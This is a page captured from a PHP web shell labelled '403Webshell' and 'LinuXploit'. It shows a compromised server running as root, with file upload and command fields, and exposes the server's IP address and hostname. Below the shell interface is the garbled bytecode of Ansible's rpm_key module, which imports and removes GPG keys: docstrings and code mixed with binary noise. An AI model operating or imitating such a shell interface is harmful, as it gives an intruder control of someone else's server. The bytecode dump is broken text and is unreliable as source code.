403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/rpm_key.cpython-312.pyc
�

1<�e"���ddlmZmZmZeZdZdZdZddl	Z	ddl
ZddlZddl
mZddlmZddlmZd	�ZGd
�de�Zd�Zed
k(re�yy)�)�absolute_import�division�print_functiona
---
module: rpm_key
author:
  - Hector Acosta (@hacosta) <hector.acosta@gazzang.com>
short_description: Adds or removes a gpg key from the rpm db
description:
  - Adds or removes (rpm --import) a gpg key to your rpm database.
version_added: "1.3"
options:
    key:
      description:
        - Key that will be modified. Can be a url, a file on the managed node, or a keyid if the key
          already exists in the database.
      type: str
      required: true
    state:
      description:
        - If the key will be imported or removed from the rpm db.
      type: str
      default: present
      choices: [ absent, present ]
    validate_certs:
      description:
        - If V(false) and the O(key) is a url starting with V(https), SSL certificates will not be validated.
        - This should only be used on personally controlled sites using self-signed certificates.
      type: bool
      default: 'yes'
    fingerprint:
      description:
        - The long-form fingerprint of the key being imported.
        - This will be used to verify the specified key.
      type: str
      version_added: 2.9
extends_documentation_fragment:
    - action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: rhel
a
- name: Import a key from a url
  ansible.builtin.rpm_key:
    state: present
    key: http://apt.sw.be/RPM-GPG-KEY.dag.txt

- name: Import a key from a file
  ansible.builtin.rpm_key:
    state: present
    key: /path/to/key.gpg

- name: Ensure a key is not present in the db
  ansible.builtin.rpm_key:
    state: absent
    key: DEADB33F

- name: Verify the key, using a fingerprint, before import
  ansible.builtin.rpm_key:
    key: /path/to/RPM-GPG-KEY.dag.txt
    fingerprint: EBC6 E12C 62B1 C734 026B  2122 A20E 5214 6B8D 79E6
�#N)�
AnsibleModule)�	fetch_url)�	to_nativec	�x�d}ttj|t|d��tj��S)zVerifies if string is a pubkeyzP.*?(-----BEGIN PGP PUBLIC KEY BLOCK-----.*?-----END PGP PUBLIC KEY BLOCK-----).*�surrogate_or_strict)�errors)�bool�re�matchr	�DOTALL)�string�	pgp_regexs  �9/usr/lib/python3/dist-packages/ansible/modules/rpm_key.py�	is_pubkeyr[s.��b�I������I�f�=R�$S�UW�U^�U^�_�`�`�c�H�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zy)�RpmKeyc���d}d}||_|jjdd�|_|jd}|jd}|jd}|r |j	dd�j�}|jjd	�|_|js"|jjd
d��|_d|vr%|j|�}|j|�}d}nf|j|�r|}nRtjj|�r|}|j|�}n|jjd
|z��|j�}|dk(r�|j|�r|j!d��y|s|jjd��|r9|j#|�}||k7r#|jjd|�d|�d���|j%|�|r|jj'|�|j!d��y|j|�r$|j)|�|j!d��y|j!d��y)NF�rpmT�state�key�fingerprint� ��gpg�gpg2)�requiredz://zNot a valid key %s��msg�present)�changedz0When importing a key, a valid file must be givenzThe specified fingerprint, 'z'', does not match the key fingerprint '�')�module�get_bin_pathr�params�replace�upperr�	fetch_key�getkeyid�is_keyid�os�path�isfile�	fail_json�normalize_keyid�is_key_imported�	exit_json�getfingerprint�
import_key�cleanup�drop_key)	�selfr'�keyfile�should_cleanup_keyfilerrr�keyid�has_fingerprints	         r�__init__zRpmKey.__init__cs(����!&������;�;�+�+�E�4�8����
�
�g�&���m�m�E�"���m�m�M�2���%�-�-�c�2�6�<�<�>�K��;�;�+�+�E�2����x�x��{�{�/�/���/�F�D�H��C�<��n�n�S�)�G��M�M�'�*�E�%)�"�
�]�]�3�
��E�
�W�W�^�^�C�
 ��G��M�M�'�*�E��K�K�!�!�&:�S�&@�!�A��$�$�U�+���I���#�#�E�*�� � �� �/���K�K�)�)�.`�)�a��&*�&9�&9�'�&B�O�"�o�5����-�-�ny�|K�!L�.������(�)��K�K�'�'��0�� � �� �.��#�#�E�*��
�
�e�$�� � �� �.�� � �� �/rc���t|j|�\}}|ddk7r%|jjd|�d|d����|j�}t	|�s|jjd|z��tj�\}}|jj|�tj|d�}|j|�|j�|S)	z;Downloads a key from url, returns a valid path to a gpg key�status��zfailed to fetch key at z , error was: r#r"zNot a public key: %szw+b)rr'r2�readr�tempfile�mkstemp�add_cleanup_filer/�fdopen�write�close)r:�url�rsp�infor�tmpfd�tmpname�tmpfiles        rr,zRpmKey.fetch_key�s����d�k�k�3�/�	��T���>�S� ��K�K�!�!�UX�Z^�_d�Ze�&f�!�g��h�h�j����~��K�K�!�!�&<�s�&B�!�C�!�)�)�+���w����$�$�W�-��)�)�E�5�)���
�
�c���
�
���rc��|j�j�}|jd�r|ddS|jd�r|ddS|S)zhEnsure a keyid doesn't have a leading 0x, has leading or trailing whitespace, and make sure is uppercase�0x�N�0X)�stripr+�
startswith)r:r=�rets   rr3zRpmKey.normalize_keyid�sI���k�k�m�!�!�#���>�>�$���q�r�7�N�
�^�^�D�
!��q�r�7�N��Jrc��|j|jdddd|g�\}}|j�D]9}|j�}|j	d�s�%|jd�dcS|jjd�	�y)
N�--no-tty�--batch�
--with-colons�--fixed-list-modezpub:�:��Unexpected gpg outputr"��execute_commandr�
splitlinesrTrU�splitr'r2�r:r;�stdout�stderr�lines     rr-zRpmKey.getkeyid�s����-�-�t�x�x��Y�P_�at�v}�.~������%�%�'�	*�D��:�:�<�D����v�&��z�z�#��q�)�)�	*�
	
�����"9��:rc	��|j|jddddd|g�\}}|j�D]9}|j�}|j	d�s�%|jd�dcS|jjd	�
�y)NrXrYrZr[z--with-fingerprintzfpr:r\�	r^r"r_rcs     rr6zRpmKey.getfingerprint�s����-�-��H�H�j�)�_��!5�w�/
������%�%�'�	*�D��:�:�<�D����v�&��z�z�#��q�)�)�	*�	
�����"9��:rc�N�tjd|tj��S)z5Verifies if a key, as provided by the user is a keyidz(0x)?[0-9a-f]{8})�flags)rr�
IGNORECASE)r:�keystrs  rr.zRpmKey.is_keyid�s���x�x�*�F�"�-�-�H�Hrc��|jj|d��\}}}|dk7r|jj|��||fS)NT)�use_unsafe_shellrr")r'�run_commandr2)r:�cmd�rcrdres     rr`zRpmKey.execute_command�sH��!�[�[�4�4�S�4�4�P���F�F�
��7��K�K�!�!�f�!�-��v�~�rc��|jdz}|jj|�\}}}|dk7ry|d|jzdzz
}|j	|�\}}|j�D]}||j
d�dvs�yy)	Nz -q  gpg-pubkeyrFz --qf "%{description}" | z3 --no-tty --batch --with-colons --fixed-list-mode -r\r]T)rr'rorr`rarb)r:r=rprqrdrerfs       rr4zRpmKey.is_key_imported�s����h�h�*�*��!�[�[�4�4�S�9���F�F�
��7���*�T�X�X�5�8m�m�m���-�-�c�2�����%�%�'�	�D���
�
�3���*�*��	�rc�n�|jjs|j|jd|g�yy)Nz--import)r'�
check_moder`r)r:r;s  rr7zRpmKey.import_key�s-���{�{�%�%�� � �$�(�(�J��!@�A�&rc	��|jjs4|j|jddd|ddj	�zg�yy)Nz--erasez--allmatchesz
gpg-pubkey-%si����)r'rtr`r�lower)r:r=s  rr9zRpmKey.drop_key�sG���{�{�%�%�� � �$�(�(�I�~��Y^�_a�_b�Yc�Yi�Yi�Yk�Gk�!l�m�&rN)
�__name__�
__module__�__qualname__r?r,r3r-r6r.r`r4r7r9�rrrras8��30�j� �;�;�(I��
�B�nrrc��tttddddg��tddd��td��td	d�
���d��}t|�y)
N�strr$�absent)�type�default�choicesTF)r~r!�no_log)r~r
)r~r)rrr�validate_certs)�
argument_spec�supports_check_mode)r�dictr)r's r�mainr��sQ��
���E�9�x��>S�T��%�$�u�=��%�(��V�T�:�	
�!��F��6�Nr�__main__)�
__future__rrrr~�
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr�os.pathr/rD�ansible.module_utils.basicr�ansible.module_utils.urlsr�+ansible.module_utils.common.text.convertersr	r�objectrr�rwrzrr�<module>r�sm��A�@��
�+�
�Z��,
��	���5�/�A�a�Jn�V�Jn�Z��z���F�r

Youez - 2016 - github.com/yon3zu
LinuXploit